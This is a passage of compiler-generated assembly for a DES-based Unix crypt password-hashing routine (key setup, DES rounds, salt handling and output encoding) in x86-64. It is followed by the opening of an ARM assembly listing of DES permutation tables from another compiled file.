mov DWORD PTR -8[rbp], eax
mov eax, DWORD PTR -32[rbp]
mov edx, DWORD PTR -12[rbp]
mov esi, edx
mov ecx, eax
sal esi, cl
mov eax, 28
sub eax, DWORD PTR -32[rbp]
mov edx, DWORD PTR -12[rbp]
mov ecx, eax
shr edx, cl
mov eax, edx
or eax, esi
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -8[rbp]
shr eax, 21
and eax, 127
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, comp_maskl[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -8[rbp]
shr eax, 14
and eax, 127
mov eax, eax
sub rax, -128
lea rdx, 0[0+rax*4]
lea rax, comp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -8[rbp]
shr eax, 7
and eax, 127
mov eax, eax
add rax, 256
lea rdx, 0[0+rax*4]
lea rax, comp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -8[rbp]
and eax, 127
mov eax, eax
add rax, 384
lea rdx, 0[0+rax*4]
lea rax, comp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -4[rbp]
shr eax, 21
and eax, 127
mov eax, eax
add rax, 512
lea rdx, 0[0+rax*4]
lea rax, comp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -4[rbp]
shr eax, 14
and eax, 127
mov eax, eax
add rax, 640
lea rdx, 0[0+rax*4]
lea rax, comp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -4[rbp]
shr eax, 7
and eax, 127
mov eax, eax
add rax, 768
lea rdx, 0[0+rax*4]
lea rax, comp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -4[rbp]
and eax, 127
mov eax, eax
add rax, 896
lea rdx, 0[0+rax*4]
lea rax, comp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, en_keysl[rip]
mov DWORD PTR [rdx+rax], ecx
mov eax, 15
sub eax, DWORD PTR -28[rbp]
mov edx, eax
mov eax, DWORD PTR -28[rbp]
cdqe
lea rcx, 0[0+rax*4]
lea rax, en_keysl[rip]
mov eax, DWORD PTR [rcx+rax]
movsx rdx, edx
lea rcx, 0[0+rdx*4]
lea rdx, de_keysl[rip]
mov DWORD PTR [rcx+rdx], eax
mov eax, DWORD PTR -8[rbp]
shr eax, 21
and eax, 127
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, comp_maskr[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -8[rbp]
shr eax, 14
and eax, 127
mov eax, eax
sub rax, -128
lea rdx, 0[0+rax*4]
lea rax, comp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -8[rbp]
shr eax, 7
and eax, 127
mov eax, eax
add rax, 256
lea rdx, 0[0+rax*4]
lea rax, comp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -8[rbp]
and eax, 127
mov eax, eax
add rax, 384
lea rdx, 0[0+rax*4]
lea rax, comp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -4[rbp]
shr eax, 21
and eax, 127
mov eax, eax
add rax, 512
lea rdx, 0[0+rax*4]
lea rax, comp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -4[rbp]
shr eax, 14
and eax, 127
mov eax, eax
add rax, 640
lea rdx, 0[0+rax*4]
lea rax, comp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -4[rbp]
shr eax, 7
and eax, 127
mov eax, eax
add rax, 768
lea rdx, 0[0+rax*4]
lea rax, comp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -4[rbp]
and eax, 127
mov eax, eax
add rax, 896
lea rdx, 0[0+rax*4]
lea rax, comp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, en_keysr[rip]
mov DWORD PTR [rdx+rax], ecx
mov eax, 15
sub eax, DWORD PTR -28[rbp]
mov edx, eax
mov eax, DWORD PTR -28[rbp]
cdqe
lea rcx, 0[0+rax*4]
lea rax, en_keysr[rip]
mov eax, DWORD PTR [rcx+rax]
movsx rdx, edx
lea rcx, 0[0+rdx*4]
lea rdx, de_keysr[rip]
mov DWORD PTR [rcx+rdx], eax
add DWORD PTR -28[rbp], 1
.L70:
cmp DWORD PTR -28[rbp], 15
jle .L71
mov eax, 0
.L69:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size des_setkey, .-des_setkey
.type do_des, @function
do_des:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -68[rbp], edi
mov DWORD PTR -72[rbp], esi
mov QWORD PTR -80[rbp], rdx
mov QWORD PTR -88[rbp], rcx
mov DWORD PTR -92[rbp], r8d
mov DWORD PTR -48[rbp], 0
cmp DWORD PTR -92[rbp], 0
jne .L73
mov eax, 1
jmp .L74
.L73:
cmp DWORD PTR -92[rbp], 0
jle .L75
lea rax, en_keysl[rip]
mov QWORD PTR -16[rbp], rax
lea rax, en_keysr[rip]
mov QWORD PTR -8[rbp], rax
jmp .L76
.L75:
neg DWORD PTR -92[rbp]
lea rax, de_keysl[rip]
mov QWORD PTR -16[rbp], rax
lea rax, de_keysr[rip]
mov QWORD PTR -8[rbp], rax
.L76:
mov eax, DWORD PTR -68[rbp]
shr eax, 24
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, ip_maskl[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -68[rbp]
shr eax, 16
movzx eax, al
mov eax, eax
add rax, 256
lea rdx, 0[0+rax*4]
lea rax, ip_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -68[rbp]
shr eax, 8
movzx eax, al
mov eax, eax
add rax, 512
lea rdx, 0[0+rax*4]
lea rax, ip_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -68[rbp]
movzx eax, al
mov eax, eax
add rax, 768
lea rdx, 0[0+rax*4]
lea rax, ip_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -72[rbp]
shr eax, 24
mov eax, eax
add rax, 1024
lea rdx, 0[0+rax*4]
lea rax, ip_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -72[rbp]
shr eax, 16
movzx eax, al
mov eax, eax
add rax, 1280
lea rdx, 0[0+rax*4]
lea rax, ip_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -72[rbp]
shr eax, 8
movzx eax, al
mov eax, eax
add rax, 1536
lea rdx, 0[0+rax*4]
lea rax, ip_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -72[rbp]
movzx eax, al
mov eax, eax
add rax, 1792
lea rdx, 0[0+rax*4]
lea rax, ip_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or eax, ecx
mov DWORD PTR -56[rbp], eax
mov eax, DWORD PTR -68[rbp]
shr eax, 24
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, ip_maskr[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -68[rbp]
shr eax, 16
movzx eax, al
mov eax, eax
add rax, 256
lea rdx, 0[0+rax*4]
lea rax, ip_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -68[rbp]
shr eax, 8
movzx eax, al
mov eax, eax
add rax, 512
lea rdx, 0[0+rax*4]
lea rax, ip_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -68[rbp]
movzx eax, al
mov eax, eax
add rax, 768
lea rdx, 0[0+rax*4]
lea rax, ip_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -72[rbp]
shr eax, 24
mov eax, eax
add rax, 1024
lea rdx, 0[0+rax*4]
lea rax, ip_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -72[rbp]
shr eax, 16
movzx eax, al
mov eax, eax
add rax, 1280
lea rdx, 0[0+rax*4]
lea rax, ip_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -72[rbp]
shr eax, 8
movzx eax, al
mov eax, eax
add rax, 1536
lea rdx, 0[0+rax*4]
lea rax, ip_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -72[rbp]
movzx eax, al
mov eax, eax
add rax, 1792
lea rdx, 0[0+rax*4]
lea rax, ip_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or eax, ecx
mov DWORD PTR -52[rbp], eax
jmp .L77
.L80:
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR -24[rbp], rax
mov DWORD PTR -44[rbp], 16
jmp .L78
.L79:
mov eax, DWORD PTR -52[rbp]
sal eax, 23
and eax, 8388608
mov edx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 9
and eax, 8126464
or edx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 11
and eax, 258048
or edx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 13
and eax, 4032
or edx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 15
and eax, 63
or eax, edx
mov DWORD PTR -40[rbp], eax
mov eax, DWORD PTR -52[rbp]
sal eax, 7
and eax, 16515072
mov edx, eax
mov eax, DWORD PTR -52[rbp]
sal eax, 5
and eax, 258048
or edx, eax
mov eax, DWORD PTR -52[rbp]
sal eax, 3
and eax, 4032
or edx, eax
mov eax, DWORD PTR -52[rbp]
add eax, eax
and eax, 62
or edx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 31
or eax, edx
mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR -40[rbp]
xor eax, DWORD PTR -36[rbp]
mov edx, eax
mov eax, DWORD PTR saltbits[rip]
and eax, edx
mov DWORD PTR -48[rbp], eax
mov rax, QWORD PTR -32[rbp]
lea rdx, 4[rax]
mov QWORD PTR -32[rbp], rdx
mov eax, DWORD PTR [rax]
xor eax, DWORD PTR -48[rbp]
xor DWORD PTR -40[rbp], eax
mov rax, QWORD PTR -24[rbp]
lea rdx, 4[rax]
mov QWORD PTR -24[rbp], rdx
mov eax, DWORD PTR [rax]
xor eax, DWORD PTR -48[rbp]
xor DWORD PTR -36[rbp], eax
mov eax, DWORD PTR -40[rbp]
shr eax, 12
mov edx, eax
lea rax, m_sbox[rip]
movzx eax, BYTE PTR [rdx+rax]
movzx eax, al
cdqe
lea rdx, 0[0+rax*4]
lea rax, psbox[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -40[rbp]
and eax, 4095
mov edx, eax
lea rax, m_sbox[rip+4096]
movzx eax, BYTE PTR [rdx+rax]
movzx eax, al
cdqe
add rax, 256
lea rdx, 0[0+rax*4]
lea rax, psbox[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -36[rbp]
shr eax, 12
mov edx, eax
lea rax, m_sbox[rip+8192]
movzx eax, BYTE PTR [rdx+rax]
movzx eax, al
cdqe
add rax, 512
lea rdx, 0[0+rax*4]
lea rax, psbox[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -36[rbp]
and eax, 4095
mov edx, eax
lea rax, m_sbox[rip+12288]
movzx eax, BYTE PTR [rdx+rax]
movzx eax, al
cdqe
add rax, 768
lea rdx, 0[0+rax*4]
lea rax, psbox[rip]
mov eax, DWORD PTR [rdx+rax]
or eax, ecx
mov DWORD PTR -48[rbp], eax
mov eax, DWORD PTR -56[rbp]
xor DWORD PTR -48[rbp], eax
mov eax, DWORD PTR -52[rbp]
mov DWORD PTR -56[rbp], eax
mov eax, DWORD PTR -48[rbp]
mov DWORD PTR -52[rbp], eax
.L78:
mov eax, DWORD PTR -44[rbp]
lea edx, -1[rax]
mov DWORD PTR -44[rbp], edx
test eax, eax
jne .L79
mov eax, DWORD PTR -56[rbp]
mov DWORD PTR -52[rbp], eax
mov eax, DWORD PTR -48[rbp]
mov DWORD PTR -56[rbp], eax
.L77:
mov eax, DWORD PTR -92[rbp]
lea edx, -1[rax]
mov DWORD PTR -92[rbp], edx
test eax, eax
jne .L80
mov eax, DWORD PTR -56[rbp]
shr eax, 24
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, fp_maskl[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -56[rbp]
shr eax, 16
movzx eax, al
mov eax, eax
add rax, 256
lea rdx, 0[0+rax*4]
lea rax, fp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -56[rbp]
shr eax, 8
movzx eax, al
mov eax, eax
add rax, 512
lea rdx, 0[0+rax*4]
lea rax, fp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -56[rbp]
movzx eax, al
mov eax, eax
add rax, 768
lea rdx, 0[0+rax*4]
lea rax, fp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 24
mov eax, eax
add rax, 1024
lea rdx, 0[0+rax*4]
lea rax, fp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 16
movzx eax, al
mov eax, eax
add rax, 1280
lea rdx, 0[0+rax*4]
lea rax, fp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 8
movzx eax, al
mov eax, eax
add rax, 1536
lea rdx, 0[0+rax*4]
lea rax, fp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -52[rbp]
movzx eax, al
mov eax, eax
add rax, 1792
lea rdx, 0[0+rax*4]
lea rax, fp_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov edx, ecx
mov rax, QWORD PTR -80[rbp]
mov DWORD PTR [rax], edx
mov eax, DWORD PTR -56[rbp]
shr eax, 24
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, fp_maskr[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -56[rbp]
shr eax, 16
movzx eax, al
mov eax, eax
add rax, 256
lea rdx, 0[0+rax*4]
lea rax, fp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -56[rbp]
shr eax, 8
movzx eax, al
mov eax, eax
add rax, 512
lea rdx, 0[0+rax*4]
lea rax, fp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -56[rbp]
movzx eax, al
mov eax, eax
add rax, 768
lea rdx, 0[0+rax*4]
lea rax, fp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 24
mov eax, eax
add rax, 1024
lea rdx, 0[0+rax*4]
lea rax, fp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 16
movzx eax, al
mov eax, eax
add rax, 1280
lea rdx, 0[0+rax*4]
lea rax, fp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -52[rbp]
shr eax, 8
movzx eax, al
mov eax, eax
add rax, 1536
lea rdx, 0[0+rax*4]
lea rax, fp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -52[rbp]
movzx eax, al
mov eax, eax
add rax, 1792
lea rdx, 0[0+rax*4]
lea rax, fp_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov edx, ecx
mov rax, QWORD PTR -88[rbp]
mov DWORD PTR [rax], edx
mov eax, 0
.L74:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size do_des, .-do_des
.type des_cipher, @function
des_cipher:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov DWORD PTR -68[rbp], edx
mov DWORD PTR -72[rbp], ecx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov eax, DWORD PTR des_initialised[rip]
test eax, eax
jne .L82
mov eax, 0
call des_init
.L82:
mov eax, DWORD PTR -68[rbp]
mov edi, eax
mov eax, 0
call setup_salt
mov rax, QWORD PTR -56[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -16[rbp]
mov edi, eax
mov eax, 0
call md_ntohl@PLT
mov DWORD PTR -28[rbp], eax
mov eax, DWORD PTR -12[rbp]
mov edi, eax
mov eax, 0
call md_ntohl@PLT
mov DWORD PTR -24[rbp], eax
mov edi, DWORD PTR -72[rbp]
lea rcx, -32[rbp]
lea rdx, -36[rbp]
mov esi, DWORD PTR -24[rbp]
mov eax, DWORD PTR -28[rbp]
mov r8d, edi
mov edi, eax
mov eax, 0
call do_des
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -36[rbp]
mov edi, eax
mov eax, 0
call md_htonl@PLT
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -32[rbp]
mov edi, eax
mov eax, 0
call md_htonl@PLT
mov DWORD PTR -12[rbp], eax
mov rdx, QWORD PTR -16[rbp]
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR [rax], rdx
mov eax, DWORD PTR -20[rbp]
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L84
call __stack_chk_fail@PLT
.L84:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size des_cipher, .-des_cipher
.globl xcrypt
.type xcrypt, @function
xcrypt:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 88
.cfi_offset 3, -24
mov QWORD PTR -88[rbp], rdi
mov QWORD PTR -96[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
mov eax, DWORD PTR des_initialised[rip]
test eax, eax
jne .L86
mov eax, 0
call des_init
.L86:
lea rax, -32[rbp]
mov QWORD PTR -40[rbp], rax
jmp .L87
.L88:
mov rax, QWORD PTR -88[rbp]
movzx eax, BYTE PTR [rax]
mov ecx, eax
mov rax, QWORD PTR -40[rbp]
lea rdx, 1[rax]
mov QWORD PTR -40[rbp], rdx
lea edx, [rcx+rcx]
mov BYTE PTR [rax], dl
movzx eax, BYTE PTR [rax]
test al, al
je .L87
add QWORD PTR -88[rbp], 1
.L87:
lea rdx, -32[rbp]
mov rax, QWORD PTR -40[rbp]
sub rax, rdx
cmp rax, 7
jbe .L88
lea rax, -32[rbp]
mov rdi, rax
mov eax, 0
call des_setkey
test eax, eax
je .L89
mov eax, 0
jmp .L106
.L89:
mov rax, QWORD PTR -96[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 95
jne .L91
mov DWORD PTR -64[rbp], 1
mov DWORD PTR -60[rbp], 0
jmp .L92
.L93:
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov rax, QWORD PTR -96[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
mov edi, eax
mov eax, 0
call ascii_to_bin
mov edx, eax
mov eax, DWORD PTR -64[rbp]
lea ecx, -1[rax]
mov eax, ecx
add eax, eax
add eax, ecx
add eax, eax
mov ecx, eax
sal edx, cl
mov eax, edx
or DWORD PTR -60[rbp], eax
add DWORD PTR -64[rbp], 1
.L92:
cmp DWORD PTR -64[rbp], 4
jle .L93
mov DWORD PTR -64[rbp], 5
mov DWORD PTR -56[rbp], 0
jmp .L94
.L95:
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov rax, QWORD PTR -96[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
mov edi, eax
mov eax, 0
call ascii_to_bin
mov edx, eax
mov eax, DWORD PTR -64[rbp]
lea ecx, -5[rax]
mov eax, ecx
add eax, eax
add eax, ecx
add eax, eax
mov ecx, eax
sal edx, cl
mov eax, edx
or DWORD PTR -56[rbp], eax
add DWORD PTR -64[rbp], 1
.L94:
cmp DWORD PTR -64[rbp], 8
jle .L95
jmp .L96
.L101:
lea rsi, -32[rbp]
lea rax, -32[rbp]
mov ecx, 1
mov edx, 0
mov rdi, rax
mov eax, 0
call des_cipher
test eax, eax
je .L97
mov eax, 0
jmp .L106
.L97:
lea rax, -32[rbp]
mov QWORD PTR -40[rbp], rax
jmp .L98
.L100:
mov rax, QWORD PTR -88[rbp]
lea rdx, 1[rax]
mov QWORD PTR -88[rbp], rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
lea ecx, [rax+rax]
mov rax, QWORD PTR -40[rbp]
lea rdx, 1[rax]
mov QWORD PTR -40[rbp], rdx
movzx edx, BYTE PTR [rax]
mov esi, edx
mov edx, ecx
xor edx, esi
mov BYTE PTR [rax], dl
.L98:
lea rdx, -32[rbp]
mov rax, QWORD PTR -40[rbp]
sub rax, rdx
cmp rax, 7
ja .L99
mov rax, QWORD PTR -88[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L100
.L99:
lea rax, -32[rbp]
mov rdi, rax
mov eax, 0
call des_setkey
test eax, eax
je .L96
mov eax, 0
jmp .L106
.L96:
mov rax, QWORD PTR -88[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L101
mov rax, QWORD PTR -96[rbp]
mov edx, 9
mov rsi, rax
lea rdi, output.0[rip]
call strncpy@PLT
mov BYTE PTR output.0[rip+9], 0
lea rdi, output.0[rip]
call strlen@PLT
lea rdx, output.0[rip]
add rax, rdx
mov QWORD PTR -48[rbp], rax
jmp .L102
.L91:
mov DWORD PTR -60[rbp], 25
mov rax, QWORD PTR -96[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
movsx eax, al
mov edi, eax
mov eax, 0
call ascii_to_bin
sal eax, 6
mov ebx, eax
mov rax, QWORD PTR -96[rbp]
movzx eax, BYTE PTR [rax]
movsx eax, al
mov edi, eax
mov eax, 0
call ascii_to_bin
or eax, ebx
mov DWORD PTR -56[rbp], eax
mov rax, QWORD PTR -96[rbp]
movzx eax, BYTE PTR [rax]
mov BYTE PTR output.0[rip], al
mov rax, QWORD PTR -96[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
test al, al
je .L103
mov rax, QWORD PTR -96[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
jmp .L104
.L103:
movzx eax, BYTE PTR output.0[rip]
.L104:
mov BYTE PTR output.0[rip+1], al
lea rax, output.0[rip+2]
mov QWORD PTR -48[rbp], rax
.L102:
mov eax, DWORD PTR -56[rbp]
mov edi, eax
mov eax, 0
call setup_salt
mov ecx, DWORD PTR -60[rbp]
lea rdx, -68[rbp]
lea rax, -72[rbp]
mov r8d, ecx
mov rcx, rdx
mov rdx, rax
mov esi, 0
mov edi, 0
mov eax, 0
call do_des
test eax, eax
je .L105
mov eax, 0
jmp .L106
.L105:
mov eax, DWORD PTR -72[rbp]
shr eax, 8
mov DWORD PTR -52[rbp], eax
mov eax, DWORD PTR -52[rbp]
shr eax, 18
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -52[rbp]
shr eax, 12
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -52[rbp]
shr eax, 6
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -52[rbp]
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -72[rbp]
sal eax, 16
mov edx, eax
mov eax, DWORD PTR -68[rbp]
shr eax, 16
or eax, edx
mov DWORD PTR -52[rbp], eax
mov eax, DWORD PTR -52[rbp]
shr eax, 18
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -52[rbp]
shr eax, 12
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -52[rbp]
shr eax, 6
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -52[rbp]
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -68[rbp]
sal eax, 2
mov DWORD PTR -52[rbp], eax
mov eax, DWORD PTR -52[rbp]
shr eax, 12
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -52[rbp]
shr eax, 6
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -52[rbp]
and eax, 63
mov ecx, eax
mov rax, QWORD PTR -48[rbp]
lea rdx, 1[rax]
mov QWORD PTR -48[rbp], rdx
mov ecx, ecx
lea rdx, ascii64[rip]
movzx edx, BYTE PTR [rcx+rdx]
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -48[rbp]
mov BYTE PTR [rax], 0
lea rax, output.0[rip]
.L106:
mov rbx, QWORD PTR -24[rbp]
sub rbx, QWORD PTR fs:40
je .L107
call __stack_chk_fail@PLT
.L107:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size xcrypt, .-xcrypt
.local output.0
.comm output.0,21,16
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "109260.c"
.text
.data
.align 2
.type IP, %object
.size IP, 64
IP:
.ascii ":2*\"\032\022\012\002<4,$\034\024\014\004>6.&\036\026"
.ascii "\016\006@80( \030\020\01091)!\031\021\011\001;3+#\033"
.ascii "\023\013\003=5-%\035\025\015\005?7/'\037\027\017\007"
.local inv_key_perm
.comm inv_key_perm,64,4
.align 2
.type key_perm, %object
.size key_perm, 56
key_perm:
.ascii "91)!\031\021\011\001:2*\"\032\022\012\002;3+#\033\023"
.ascii "\013\003<4,$?7/'\037\027\017\007>6.&\036\026\016\006"
.ascii "=5-%\035\025\015\005\034\024\014\004"
.align 2
.type key_shifts, %object
.size key_shifts, 16
key_shifts:
